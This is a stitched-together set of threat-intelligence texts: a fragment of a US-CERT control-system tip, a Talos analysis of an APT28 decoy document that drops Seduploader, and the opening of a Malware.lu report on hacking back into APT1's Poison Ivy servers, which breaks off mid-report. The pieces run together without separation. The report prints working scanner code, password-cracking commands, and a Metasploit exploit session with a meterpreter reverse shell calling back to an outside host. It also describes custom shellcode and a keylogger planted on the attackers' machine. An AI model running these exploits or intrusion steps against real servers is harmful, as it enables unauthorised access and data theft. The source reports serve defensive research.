It is difficult to enforce corporate policies, detect intrusions, and conduct forensic analysis or remediate compromises on non-corporate owned devices.
Minimize network exposure for all control system devices.
Control system devices should not directly face the Internet.
Place control system networks behind firewalls, and isolate or air gap them from the business network.
When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices.
Industrial Control System (ICS)-CERT and US-CERT remind organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.
References N/A Revisions December 19, 2014: Initial Release This product is provided subject to this Notification and this Privacy  Use policy.
https://www.us-cert.gov/ncas/tips/ST13-003 https://www.us-cert.gov/privacy/notification https://www.us-cert.gov/privacy/
Cyber Conflict Decoy Document Used In Real Cyber Conflict blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html This post was authored by Warren Mercer, Paul Rascagneres and Vitor Ventura Update 10/23: CCDCOE released a statement today on their website Introduction Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear).
Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference.
CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence.
Due to the nature of this document, we assume that this campaign targets people with an interest in cyber security.
Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro.
The VBA drops and executes a new variant of Seduploader.
This reconnaissance malware has been used by Group 74 for years and it is composed of 2 files: a dropper and a payload.
The dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name, obfuscation keys... We assume that these modifications were performed to avoid detection based on public IOCs.
The article describes the malicious document and the Seduploader reconnaissance malware, especially the difference with the previous versions.
Malicious Office Document Decoy Document The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc.
It contains 2 pages with the logo of the organizer and the sponsors: 1/9 http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html https://www.twitter.com/SecurityBeard/ https://www.twitter.com/r00tbsd https://twitter.com/_vventura https://ccdcoe.org/cycon-us-website-info-used-decoy-malicious-campaign.html http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx https://4.bp.blogspot.com/-CqqfQpzUVCc/Wey-56VyazI/AAAAAAAAALQ/DKoPPWWRciU11rurYv31GVxc5ahVn1yiwCLcBGAs/s1600/image7.png https://3.bp.blogspot.com/-AwfjtwQtRIc/Wey--AFaNVI/AAAAAAAAALU/rCF593iixkIobmrg0DaLuawnk1InsMu9QCLcBGAs/s1600/image5.png https://3.bp.blogspot.com/-BAgJyfD_P6k/Wey_DufcH4I/AAAAAAAAALY/3noRVKPKy2c-hxNVEfPFIpy3mg86ALvEQCLcBGAs/s1600/image8.png https://3.bp.blogspot.com/-ARfWydcIWo4/Wey_JFs9N0I/AAAAAAAAALc/DPR4_YPzlyUb6k7O5PskYFbc11hrMTCXgCLcBGAs/s1600/image1.png https://3.bp.blogspot.com/-VQ883Sd8PZc/Wey_PFio0YI/AAAAAAAAALg/MiNcCCL0KPEtgWYLuF2nEoBtU0gBVQf-QCLcBGAs/s1600/image4.png https://2.bp.blogspot.com/-qXEuFiEGrIk/Wey_V6TD8UI/AAAAAAAAALk/LMa77F55AC8yNQDl5oUj5ALS3fyA0LCQQCLcBGAs/s1600/image3.png https://3.bp.blogspot.com/-2eYr9beKut4/Wey_bTv_EpI/AAAAAAAAALs/rf8gP37CU0clzBJeljybDG1ZkKhka18QwCLcBGAs/s1600/image2.png https://2.bp.blogspot.com/-gHIefer-Rr8/Wey_fpSbUyI/AAAAAAAAALw/thycrvqdt5Y_EM_koxtWnHYFQLW_EjtpQCLcBGAs/s1600/image6.png Due to the nature of the document, we assume that the targeted people are linked or 2/9 interested by the cybersecurity landscape.
The exact content of the document can be found online on the conference website.
The attackers probably copy/pasted it into Word to create the malicious document.
VBA The Office document contains a VBA script.
Here is the code: The goal of this code is to get information from the properties of the document (Subject, Company, Category, Hyperlink base and finally Comments).
Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file.
The Hyperlink Base must be extracted using another tool, strings is capable of obtaining this by looking for long strings.
Pay close attention to the contents of these fields as they appear base64 encoded.
3/9 http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx This extracted information is concatenated together to make a single variable.
This variable is decoded with the base64 algorithm in order to get a Windows library (PE file) which is written to disk.
The file is named netwf.dat.
On the next step this file is executed by rundll32.exe via the KlpSvc export.
We see that this file drops 2 additional files: netwf.bat and netwf.dll.
The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden.
We can also see 2 VBA variable names: PathPld, probably for Path Payload, and PathPldBt, for Path Payload Batch.
Seduploader Variant Dropper Analysis 4/9 As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms.
The dropper installs 2 files: netwf.bat : executes netwf.dll netwf.dll : the payload The dropper implements 2 persistence mechanisms: HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file COM Object hijack of the following CLSID: BCDE0395-E52F-467C-8E3D- C4579291692E, the CLSID of the class MMDeviceEnumerator.
These 2 techniques have also been previously used by this actor.
Finally the payload is executed by rundll32.exe (and the ordinal 1 in argument) or by explorer.exe if the COM Object hijack is performed.
In this case, explorer.exe will instance the MMDeviceEnumerator class and will execute the payload.
Payload Analysis The payload features are similar to the previous versions of Seduploader.
We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74.
Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90 and 2 match at 80: In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process.
In this campaign, adversaries did not use any exploit.
Instead,the payload is executed in standalone mode by rundll32.exe.
5/9 https://msdn.microsoft.com/en-us/library/windows/desktop/dd371399(vvs.85).aspx Adversaries also changed some constants, such as the XOR key used in the previous version.
The key in our version is: keyb\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64 The MUTEX name is different too: FG00nxojVs4gLBnwKc7HhmdK0h Here are some of the Seduploader features: Screenshot capture (with the GDI API) data/configuration exfiltration Execution of code File downloading 6/9 The Command  Control (CC) of the analysed sample is myinvestgroup[.
]com.
During the investigation, the server did not provide any configuration to the infected machines.
Based on the metadata of the Office documents and the PE files, the attackers had created the file on Wednesday, the 4th of October.
We can see, in Cisco Umbrella, a peak in activities 3 days later, Saturday the 7th of October: Conclusion Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets.
This campaign has most likely been created to allow the targeting of people linked to or interested by cybersecurity, so probably the people who are more sensitive to cybersecurity threats.
In this case, Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document.
Due to this change, the fundamental compromise mechanism is different as the payload is executed in a standalone mode.
The reasons for this are unknown, but, we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations.
Actors will often not use exploits due to the fact that researchers can find and eventually patch these which renders the actors weaponized platforms defunct.
Additionally the author did some small updates after publications from the security community, again this is common for actors of this sophisticated nature, once their campaigns have been exposed they will often try to change tooling to ensure better avoidance.
For example the actor changed the XOR key and the MUTEX name.
We assume that these modifications were performed in order to avoid detection based on public IOCs.
Coverage Additional ways our customers can detect and block this threat are listed below.
7/9 Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.
Network Security appliances such asNGFW,NGIPS, andMeraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
IOCs Files Office Documents: c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52 Seduploader Dropper: 522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805 Sedupload Payload: ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18 Networks 8/9 https://www.cisco.com/c/en/us/products/security/advanced-malware-protection https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/firewalls/index.html https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html https://meraki.cisco.com/products/appliances https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html https://umbrella.cisco.com/ https://www.snort.org/products CC: myinvestgroup[.
]com 9/9 Cyber Conflict Decoy Document Used In Real Cyber Conflict Introduction Malicious Office Document Decoy Document VBA Seduploader Variant Dropper Analysis Payload Analysis Conclusion Coverage IOCs Files Networks
Public document APT1: technical backstage malware analysis General information Sequence number 002 Version 1.0 State Final Approved by Paul Rascagnres Approval date 27/03/2013 Classification Public Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 2 of 48 History Version Date Author Modifications 0.1 12/03/2013 P. Rascagnres Document creation 0.2 13/03/2013 P. Rascagnres Document update 0.3 14/03/2013 P. Rascagnres Document update 0.4 15/03/2013 P. Rascagnres Appendix creation 0.5 17/03/2013 C. Harpes Proofreading 0.6 17/03/2013 P. Rascagnres Screenshot modification 0.7 24/03/2013 P. Rascagnres Shellcode part 0.8 25/03/2013 P. Rascagnres Corrections 1.0 27/03/2013 P. Rascagnres Final version Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 3 of 48 Table of contents 1 Introduction ............................................................................................................................ 5 1.1 Context .................................................................................................................................................... 5 1.2 Objectives ............................................................................................................................................... 5 1.3 Authors .................................................................................................................................................... 5 1.4 Ethical choices ....................................................................................................................................... 5 1.5 Document structure ............................................................................................................................... 5 2 Information gathering ............................................................................................................. 6 2.1 Command  Control scanner ............................................................................................................... 6 2.2 IP ranges ................................................................................................................................................. 7 2.3 Working hours ........................................................................................................................................ 7 3 Poison Ivy ............................................................................................................................... 8 3.1 Description .............................................................................................................................................. 8 3.2 Remote code execution vulnerability................................................................................................... 8 3.3 Encryption key brute forcing ................................................................................................................ 8 3.4 Exploitation ............................................................................................................................................. 9 3.5 Shellcode .............................................................................................................................................. 11 4 Information obtained on the CC ........................................................................................ 12 4.1 Infrastructure schema.......................................................................................................................... 12 4.2 Tools ...................................................................................................................................................... 15 4.3 Targets .................................................................................................................................................. 16 5 Terminator RAT (aka Fakem RAT) ....................................................................................... 18 5.1 Description ............................................................................................................................................ 18 5.2 Password protection ............................................................................................................................ 18 5.3 Features and usage.............................................................................................................................. 19 5.4 Scanner ................................................................................................................................................. 25 5.5 Remote code execution vulnerability................................................................................................. 25 6 Conclusion ............................................................................................................................ 27 Appendix ...................................................................................................................................... 28 Poison Ivy exploit ........................................................................................................................................ 28 Camellia plugin for John the Ripper .......................................................................................................... 31 Terminator (aka Fakem RAT) password brute forcer ............................................................................... 34 Terminator (aka Fakem RAT) exploit ......................................................................................................... 35 Shellcode ...................................................................................................................................................... 37 Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 4 of 48 List of figures Figure 1: Attackers working hours ................................................................................................... 7 Figure 2: Network schema ............................................................................................................. 12 Figure 3: Proxy server login window .............................................................................................. 13 Figure 4: Poison Ivy interface with the list of connected machines ................................................ 13 Figure 5: Poison Ivy interface with a shell ...................................................................................... 14 Figure 6: Example of network target diagram ................................................................................ 17 Figure 7: Terminator password ...................................................................................................... 18 Figure 8: Terminator CRC algorithm .............................................................................................. 19 Figure 9: Terminator xor and compare operation on the password ................................................ 19 Figure 10: Terminator: starting interface ........................................................................................ 20 Figure 11: Terminator: Protocol and port choice ............................................................................ 20 Figure 12: Terminator: List of infected machines ........................................................................... 20 Figure 13: Terminator: List of features ........................................................................................... 21 Figure 14: Terminator: List of processes on the infected machine ................................................. 22 Figure 15: Terminator: List of opened ports on the infected machine............................................. 22 Figure 16: Terminator: Remote shell on the infected machine ....................................................... 23 Figure 17: Terminator: Registry access to the infected machine .................................................... 23 Figure 18: Terminator: Services management on the infected machine ........................................ 24 Figure 19: Terminator: Information about the infected machine ..................................................... 24 Figure 20: Terminator: Installed software on the infected machine ................................................ 25 Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 5 of 48 1 Introduction 1.1 Context The company Mandiant published in February 2013 a report about an Advance Persistent Threat (APT) called APT1.
The report can be freely downloaded here: http://intelreport.mandiant.com/.
Inspired by this article, we have decided to perform our own technical analysis of this case.
In the report, Mandiant explains that the attackers were using a well-known Remote Administration Tool (RAT) called Poison Ivy and that they were located in China.
We based our investigation based on those two facts only.
1.2 Objectives The objective of the mission was to understand how these attackers work.
Our purpose was to identify their infrastructures, their methodologies and also the tools they used.
We are convinced that in order to protect our infrastructures against this kind of attacks, we need to analyse, learn and understand the way attackers work.
1.3 Authors This report has been created by Malware.lu CERT, the first private Computer Security Incident Response Team (CSIRT) located in Luxembourg and itrust consulting S.A.R.L, a Luxembourg based company specialising in formation system security.
We would like to thank the incident response teams who have collaborated with us.
Thanks for their help and for their support.
1.4 Ethical choices In this chapter is described our approach about the ethical choices made during this work.
First, we warned the national and/or private Computer Security Incident Response Teams (CSIRT - CERT) associated to the targets of the attackers.
Before publishing this report, we have waited for a reasonable time.
Finally, all the servers from which we collected data belonged to the attackers.
We do not attack or try to attack compromised machines.
1.5 Document structure This document is structured in the following way: Chapter 2 deals with the information gathering phase Chapter 3 describes the malware Poison Ivy and a vulnerability of it Chapter 4 is a static analysis of samples Chapter 5 deals with the information we gathered on the attacked command  control Chapter 6 introduces an homemade RAT called terminator http://intelreport.mandiant.com/ Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 6 of 48 2 Information gathering 2.1 Command  Control scanner In the Mandiant report, it is explained that the attacker used a well-known Remote Administration Tool (RAT) called Poison Ivy.
This RAT can be freely downloaded here: http://www.poisonivy- rat.com/.
This RAT will be discussed in the next chapter.
To identify the machines that were using this RAT, we have developed a Poison Ivy scanner.
Here is the code of this scanner: def check_poison(self, host, port, res): try: af, socktype, proto, canonname, sa  res s  socket.socket(af, socktype, proto) s.settimeout(6) s.connect(sa) stage1  \x00  0x100 s.sendall(stage1) data  s.recv(0x100) if len(data)  0x100: s.close() return data  s.recv(0x4) s.close() if data  \xD0\x15\x00\x00: return print s Poison s s:d  (datetime.datetime.now(), host, sa[0], sa[1]) except socket.timeout as e: pass except socket.error as e: pass The scanner sends 100 times 0x00 to a specific port and IP.
If in the response the server sends back 100 other bytes followed by the specific data 0x000015D0, we know that the running service is a Poison Ivy server.
We chose to scan the following ports: 3460 (default Poison Ivy port) 80 (HTTP port) 443 (HTTPS port) 8080 (alternate HTTP port).
We decided to scan a wide IP range located in Hong Kong.
http://www.poisonivy-rat.com/ http://www.poisonivy-rat.com/ Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 7 of 48 2.2 IP ranges After removing false positives, we identified 6 IP ranges where Poison Ivy Command  Control servers were running: - 113.10.246.0 - 113.10.246.255: managed by NWT Broadband Service - 202.65.220.0 - 202.65.220.255: managed by Pacific Scene - 202.67.215.0 - 202.67.215.255: managed by HKNet Company - 210.3.0.0 - 210.3.127.255: managed by Hutchison Global Communications - 219.76.239.216 - 219.76.239.223: managed by WINCOME CROWN LIMITED - 70.39.64.0  70.39.127.255: managed by Sharktech 2.3 Working hours We had some difficulties to identify the CC servers because the attackers stopped the Poison Ivy daemon when they were not using it.
That explains why the scanner did not identify all the CC servers at certain moments of the day.
However, using this parameter, we were able to identify their working hours.
Here is the average working hours for a week (the hour on the graph is UTC1): Figure 1: Attackers working hours Generally, the attackers worked between 2AM and 10AM from Monday to Saturday included.
Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 8 of 48 3 Poison Ivy 3.1 Description Poison Ivy is a Remote Administration Tool (RAT) available here: http://www.poisonivy- rat.com/index.php?linkdownload.
This RAT is well documented on the Internet.
Here is a short list of the features it provides: - File management - File search - File transfer - Registry management - Process management - Services management - Remote shell - Screenshot creation - Hash stealing - Audio capture - 3.2 Remote code execution vulnerability An exploitable vulnerability has been discovered by Andrzej Dereszowski from SIGNAL 11.
The description of the vulnerability can be found here: http://www.signal11.eu/en/research/articles/ targeted_2010.pdf.
This vulnerability allows the remote execution of arbitrary code on the command  control server.
Metasploit framework provides an exploit to use this vulnerability.
The code is available here: http://dev.metasploit.com/redmine/projects/framework/repository/entry/ modules/exploits/windows/misc/poisonivy_bof.rb.
This exploit did not work in our context.
The exploit has two possible exploitations: - by using the default password: admin - by using brute force As the two methods did not work we created a third one.
This method consists of finding the real password used for the encryption.
Our homemade exploit with an option for the password is available in Appendix.
For information, an additional Ruby package is needed to use the camellia cipher.
The package can be installed using the gem command: rootalien: gem install camellia-rb The next step was to find the password used to encrypt the communication.
3.3 Encryption key brute forcing The RAT uses a key to encrypt the communication.
The password is set by the administrator and its default value is admin.
After a quick search on the Internet, we know that Poison Ivy uses Camellia as encryption algorithm.
The encryption is made with 16 bytes blocks.
So we decided to choose the following approach: - Send 100 bytes (with 0x00) to the daemon (same than in our scanner) - Get the first 16 bytes as result from the server Here is the formula of the result: http://www.poisonivy-rat.com/index.php?linkdownload http://www.poisonivy-rat.com/index.php?linkdownload http://www.signal11.eu/en/research/articles/targeted_2010.pdf http://www.signal11.eu/en/research/articles/targeted_2010.pdf http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/misc/poisonivy_bof.rb http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/misc/poisonivy_bof.rb Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 9 of 48 Result  Camellia(160x00, key) The result is not a printable value.
Thus,  we decided to make a base64 of this value and add the flag camellia to identify the algorithm.
Here is an example of result: camelliaItGoyeyQIvPjT/qBoDKQZg To get the key, we developed a John the Ripper extension.
John the Ripper is an open source password cracker.
The source code can be downloaded here: http://www.openwall.com/john/.
OpenSSL provides the camellia algorithm.
The code source of the John the Ripper plugin to crack camellia hashes by using the OpenSSL library is available in the appendix.
After compiling John the Ripper, a new format is available: camellia.
Here is an example of a brute force session: rootbsdalien:/john-1.7.9-jumbo-7/run cat test.txt camelliaItGoyeyQIvPjT/qBoDKQZg rootbsdalien:/john-1.7.9-jumbo-7/run ./john --formatcamellia test.txt Loaded 1 password hash (Camellia bruteforce [32/32]) No password hashes left to crack (see FAQ) rootbsdalien:/john-1.7.9-jumbo-7/run ./john --show test.txt ?
:
pswpsw 1 password hash cracked, 0 left The key is pswpsw.
This key must be used in our homemade Metasploit exploit.
3.4 Exploitation With the information we previously described, we were able to get access to the attackers servers.
msf  exploit(poisonivy_bof_v2)  show options Module options (exploit/windows/misc/poisonivy_bof_v2): Name        Current Setting  Required  Description ----        ---------------  --------  ----------- Password    pswpsw           yes       Client password RANDHEADER  false            yes       Send random bytes as the header RHOST       X.X.X.X          yes       The target address RPORT       80               yes       The target port Payload options (windows/meterpreter/reverse_https): Name      Current Setting  Required  Description ----      ---------------  --------  ----------- EXITFUNC  thread           yes       Exit : seh, thread, process, none LHOST     my_server        yes       The local listener hostname LPORT     8443             yes       The local listener port Exploit target: Id  Name http://www.openwall.com/john/ Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 10 of 48 --  ---- 0   Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1 msf  exploit(poisonivy_bof_v2)  exploit [] Started HTTPS reverse handler on https://my_server:8443/ [] Meterpreter session 1 opened (my_server:8443 - Y.Y.Y.Y:3325) at 2013-03-07 07:51:57 0100 meterpreter ipconfig Interface  1  Name         : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU          : 1520 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 Interface  2  Name         : AMD PCNET Family PCI Ethernet Adapter -  Hardware MAC : 00:0c:29:c9:86:57 MTU          : 1500 IPv4 Address : 192.168.164.128 IPv4 Netmask : 255.255.255.0 Once connected to the Poison Ivy server, we noticed that the server had no public IP.
We attacked a server with the IP X.X.X.X (identified during the scan) and the meterpreter endpoint IP address was Y.Y.Y.Y.
We concluded that the Poison Ivy daemon was hidden behind a proxy server, by using port forwarding to hide the real IP of the command  control server.
We could also identify that the vendor ID of the MAC address is VMWare.
By listing the processes, we are able to validate this hypothesis: meterpreter  ps aux Process List  PID   PPID  Name               User                    Path ---   ----  ----               ----                    ---- 0     0     [System Process] 4     0     System 248   704   P232.exe           WILLOW-3796929A\willow  C:\VIP\IVY\P232.exe 272   780   alg.exe                                    C:\WINDOWS\System32\alg.exe 440   4     smss.exe           NT AUTHORITY\SYSTEM     \SystemRoot\System32\smss.exe 704   604   explorer.exe       WILLOW-3796929A\willow  C:\WINDOWS\Explorer.
EXE 712   440   csrss.exe          NT AUTHORITY\SYSTEM     \?
?\C:\WINDOWS\system32\csrss.exe 736   440   winlogon.exe       NT AUTHORITY\SYSTEM     \?
?\C:\WINDOWS\system32\winlogon.exe 780   736   services.exe       NT AUTHORITY\SYSTEM     C:\WINDOWS\system32\services.exe 792   736   lsass.exe          NT AUTHORITY\SYSTEM     C:\WINDOWS\system32\lsass.exe 896   1228  wuauclt.exe        WILLOW-3796929A\willow  C:\WINDOWS\system32\wuauclt.exe 960   780   vmacthlp.exe       NT AUTHORITY\SYSTEM     C:\Program Files\VMware\VMware Tools\vmacthlp.exe 976   780   svchost.exe        NT AUTHORITY\SYSTEM     C:\WINDOWS\system32\svchost.exe 1048  780   svchost.exe                                C:\WINDOWS\system32\svchost.exe 1176  704   VMwareTray.exe     WILLOW-3796929A\willow  C:\Program Files\VMware\VMware Tools\VMwareTray.exe 1200  780   cmdagent.exe       NT AUTHORITY\SYSTEM     C:\Program Files\COMODO\COMODO Internet Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 11 of 48 Security\cmdagent.exe 1228  780   svchost.exe        NT AUTHORITY\SYSTEM     C:\WINDOWS\system32\svchost.exe 1328  704   VMwareUser.exe     WILLOW-3796929A\willow  C:\Program Files\VMware\VMware Tools\VMwareUser.exe 1384  780   svchost.exe                                C:\WINDOWS\system32\svchost.exe 1448  780   svchost.exe                                C:\WINDOWS\system32\svchost.exe 1472  780   ZhuDongFangYu.exe  NT AUTHORITY\SYSTEM     C:\Program Files\360\360Safe\ deepscan\zhudongfangyu.exe 1568  780   spoolsv.exe        NT AUTHORITY\SYSTEM     C:\WINDOWS\system32\spoolsv.exe 1592  704   ctfmon.exe         WILLOW-3796929A\willow  C:\WINDOWS\system32\ctfmon.exe 1860  780   VMwareService.exe  NT AUTHORITY\SYSTEM     C:\Program Files\VMware\VMware Tools\VMwareService.exe 2232  1044  xPort.exe          WILLOW-3796929A\willow  C:\VIP\CMD\xPort.exe 3072  3032  conime.exe         WILLOW-3796929A\willow  C:\WINDOWS\system32\conime.exe 3196  704   cfp.exe            WILLOW-3796929A\willow  C:\Program Files\COMODO\COMODO Internet Security\cfp.exe 3.5 Shellcode After a few days the attackers detected our presence on their systems, particularly because of the network connections between their Poison Ivy machines and our machines.
Using the netstat command they were able to detect our connection.
Basically, the Poison Ivy server only had connections originating from the proxy server and no connection from any other IP.
In order to stay stealth we had to connect to the Poison Ivy server through the proxy server.
To establish this connection we decided to create our own shellcode.
The principle of our shellcode is as follows: - Once injected in a process, the shellcode looks for open sockets - Once a opened socket is detected, this socket is closed - After, the shellcode binds itself on the previous open port - From now on, we are going to use the same technique than the one used in meterpreter (bind_tcp).
Our shellcode goal is to close the Poison Ivy daemons socket and then open our own socket on the same port.
Once our socket is opened we can use the proxy chains provided by the attackers to connect to the Poison Ivy server.
In this case, when attackers checked the opened connections using netstat they could not identify our connection since it appeared to be originating from an infected target The source code of the shellcode can be found in appendix.
Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 12 of 48 4 Information obtained on the CC 4.1 Infrastructure schema Our investigation allowed us to draw a network schema of the attackers infrastructure.
Figure 2: Network schema The infected machines communicate with the proxy through the Internet.
The proxy server will forward the network packets to the Poison Ivy server.
The proxy feature is done by an executable called xport.exe.
This executable can encode network traffic using a xor operation.
This feature requires having the executable running on both machines: the proxy and the Poison Ivy server.
The syntax on the proxy server is: xport.exe Proxy_ip proxy_port Poison_Ivy_ip Poison_Ivy_port number The argument number can either be set to 1 or 2 and represents the two different encoding keys.
The syntax on the Poison Ivy server is: Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 13 of 48 xport.exe Poison_Ivy_ip Poison_Ivy_port localhost Poison_Ivy_daemon_port number The Poison Ivy server is managed by the attackers through a VMWare remote desktop, so that we were not able to get the real IP address of the attacker.
During our investigation, we identified an established Remote Desktop Protocol (RDP) connection between the Poison Ivy server and the proxy server.
We decided to install a key-logger on the Poison Ivy server that allowed us to see credentials to remotely connect to the proxy server.
Since the attackers use RDP to manage the proxy server and that we had access, we copied the Windows event logs.
Those logs contained all IPs which established a successful RDP authentication.
We identified more than 350 unique IPs: rootbsdalien:/APT1 cat list_ip.txt  sort u  wc -l 384 We suppose that this list also contains Poison Ivy servers IPs and maybe IPs of attackers who inadvertently connect directly to the proxy).
Here is the screenshot of the proxy RDP authentication: Figure 3: Proxy server login window Here is the screenshot of the Poison Ivy interface: Figure 4: Poison Ivy interface with the list of connected machines Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 14 of 48 Here is the screenshot of an attacker using a remote shell to an infected target: Figure 5: Poison Ivy interface with a shell Using those accesses, we managed to exfiltrate a massive amount of files, event logs, netstat outputs The interesting information can be divided in two categories: - Information about the tools used by the attackers - Information about the targets.
Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 15 of 48 4.2 Tools The following table provides an overview on the discovered tools.
Name MD5 Description KeyX.exe 3d0760bbc1b8c0bc14e8510a66bf6d99 Keylogger, log in APPDATA/ teeamware.log TmUpdate.exe b31b9dd9d29330917627f9f916987f3c Unknown: the binary opens ports 443 and 3126 ggg.exe 1295f4a3659cb481b6ae051b61567d7d Dumps hashes.
Usage: ggg.exe LSASS Process ID HashFileName ggg64.exe 3fd2c4507b23e26d427f89129b2476ac Dumps Hashes (64bits version).
Usage: ggg64.exe LSASS Process ID HashFileName iochttp.exe a476dd10d34064514af906fc37fc12a3 Unknown: opens the port 80 and uses the library https://code.google.com/p/spserver/ iochttp3.exe d91a6d50702822330acac8b36b15bb6c Unknown: open the port 80 and uses the library https://code.google.com/p/spserver/ ippmin.exe ffea249e19495e02d61aa52e981cebd8 Unpacked version of TmUpdate.exe m.exe 5b4d4d6d77954107d927eb1987dd43fb This tool will listen on the port-[localport] at the same time, receive two connections on the same port, and exchanges data between two connections.
Usage: MapPort2 [localport] [localip] map.exe 266fbfd5cacfcac975e11a3dacd91923 This tool will build two connections, One is from local host to raddr1:rport1 ,another is from local host to raddr2:rport2  and  it will exchange data between these two connections.
Usage: MapPort3 [raddr1] [rport1] [raddr2] [rport2] nc.exe ab41b1e2db77cebd9e2779110ee3915d Official netcat binary nc1.exe 8be39ba7ced43bef5b523193d94320eb Packed version of netcat nc2.exe 2937e2b37d8bb3d9fe96ded7e6f763aa Packed version of netcat putty.exe 9bb6826905965c13be1c84cc0ff83f42 Official putty binary xPort.exe 2aabd170dae5982e5d93dc6fd9f2723a Port forward tool pwdump.dll 7a115108739c7d400b4e036fe995519f Password dump 64 bits (library) pwdump.exe f140e0e9aab19fefb7e47d1ea2e7c560 Password dump 64 bits (binary) Private a78cbc7d652955be49498ee9834e6a2d RAT, we keep the name private because it contains the name of the target Private 40a3e68eafd50c02b076acf71d1569db RAT, we keep the name private because it contains the name of the target Private 5682aa66f0d1566cf3b7e27946943b4f RAT, we keep the name private because it contains the name of the target Private c16269c4a32062863b63a123951166d2 RAT, we keep the name private because it contains the name of the target Terminator3.6.
exe 669cef1b64aa530292cc823981c506f6 Homemade RAT server called Terminator (aka Fakem RAT) Shtrace.exe 380fe92c23f2028459f54cb289c3553f Malware sample of the RAT Terminator (aka Fakem RAT) EXP.EXE e258cf52ef4659ed816f3d084b3ec6c7 The binary contains Oracle DB queries Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
